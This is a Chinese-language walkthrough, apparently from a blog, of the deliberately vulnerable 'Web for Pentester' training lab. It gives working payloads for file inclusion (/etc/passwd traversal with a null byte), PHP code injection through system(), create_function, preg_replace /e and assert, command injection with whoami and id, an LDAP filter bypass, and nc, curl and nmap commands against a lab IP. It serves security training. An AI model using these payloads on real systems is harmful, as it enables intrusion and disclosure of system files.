zoukankan      html  css  js  c++  java
  • web_for_pentester代码解析

    这章没写的在前面俩章

    file include

    通过page参数传入数据,并且使用include()函数将其包含进来

    所以payload

    page=../../../../../../etc/passwd

    第二关

    这里通过page传入数据,然后与.php拼接后传递给$file,这里的$file经过正则处理,将%00.*替换为空。

    所以用%00过滤掉后面的%00

    page=../../../../../../etc/passwd%00

    code injection

    第一关

    构造闭合然后使用系统命令就可以了

    name=".system('ls')%3b%23

    显示结果

    example1.php example2.php example3.php example4.php index.html Hello index.html

    虽然显示想要的结果但是有一点小问题后来发现原因比如

    <?php

    $a = 'hello';

    $$a = 'world';

    echo "$a ${$a}";

    echo "$a $hello";

    ?>

    显示结果为

    hello worldhello world

    这俩个输出都是hello world

    还有一种方式是这样

    name=${${phpinfo()}}

    第二关

    问题在这里,create_function可以执行代码

    先介绍下cerate_function函数

    官方的例子

    <?php
    $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    echo "New anonymous function: $newfunc";
    echo $newfunc(2, M_E) . "
    ";
    // outputs
    // New anonymous function: lambda_1
    // ln(2) + ln(2.718281828459) = 1.6931471805599
    ?>

    所以这里闭合掉前面的参数,使用后面的参数来构造命令

    order=id);}system('uname -a');#   (需要用url编码)

    第三关

    在php正则下 /e修正符使preg_replace()将replacement参数当作PHP代码。因此但满足了在语句的构造中有 /e修正符,此修饰符将导致函数preg_replace执行替换之前将新值作为PHP代码计算。

    所以payload 

    example3.php?new=system("pwd")&pattern=/lamer/e&base=Hello lamer (注意/e)

    第四关

    基于函数assert,如果使用不正确,此函数将计算接收的值

    所以payload

    name=hacker'.system("whoami").'

    command injection

    第一关

    通过ip传入参数,然后使用system命令执行

    example1.php?ip=127.0.0.1;whoami

    第二关

    匹配数字,并且从头到尾检查然后使用/m每行检查。使用换行符绕过

    example2.php?ip=127.0.0.1%0Aid

    第三关

    如果ip不正确就会重定向到127.0.0.1

    打开终端输入

    echo -e "GET /commandexec/example3.php?ip=127.0.0.1%26%26ls HTTP/1.1 Host: 192.168.22.152 Connection: close " | nc 192.168.22.152 80  (这个的前提使安装netcat)

    或者使用

    curl http://192.168.22.152/commandexec/example3.php?ip=127.0.0.1|id

    LDAP attacks

    LDAP注入是一种用于利用基于web的应用程序的攻击,这些应用程序根据用户输入构造LDAP语句。当应用程序不能正确地过滤用户输入时,可以使用本地代理修改LDAP语句。这可能导致执行任意命令,比如向未授权的查询授予权限,以及修改LDAP树中的内容。SQL注入中可用的高级开发技术也可以类似地应用于LDAP注入。

     第一关

    代码中使用函数绑定参数,通过null值来绕过

    /ldap/example1.php

    第二关

    这里目标式注入用户名,)(cn=*))%00&password=rtrtrtr

    使用当前筛选器的末尾hacker)

    保持永真的条件(cn=*)

    保留有效的语法并闭合第一个语法 )

    删除筛选器末尾的NULL字节  (%00)

    利用

    name=hacker)(cn=*))%00&password=rtrtrtr

    用nmap跑下

    nmap -p 389 --script ldap-search 192.168.22.152

    file upload

    第一关

    没做什么过滤条件,直接上传php文件就可以

    第二关

     过滤也比较简单,检查后缀名是否是php,但是大小写不敏感所以直接使用大小写绕过就可以了

    参考博客http://wg135.github.io/blog/2016/03/21/pentestlab-web-for-pentester-command-injection/

    http://www.lmxspace.com/2018/05/15/%E4%BB%8Eweb-for-pentest%E7%9C%8Bphp%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#0x06-Commands-injection

  • 相关阅读:
    编译hadoop eclipse的插件(hadoop1.0)
    HBase体系结构剖析
    hadoop2.6完全分布式安装HBase1.1
    HDFS主要特性和体系结构
    一些C语言学习的国外资源
    一个监控系统进程网络流量的程序
    python解析发往本机的数据包示例 (解析数据包)
    使用Fiddler抓包调试https下的页面
    fiddler Android下https抓包全攻略
    C++使用hiredis连接带密码的redis服务
  • 原文地址:https://www.cnblogs.com/zhao-yang/p/13876766.html
Copyright © 2011-2022 走看看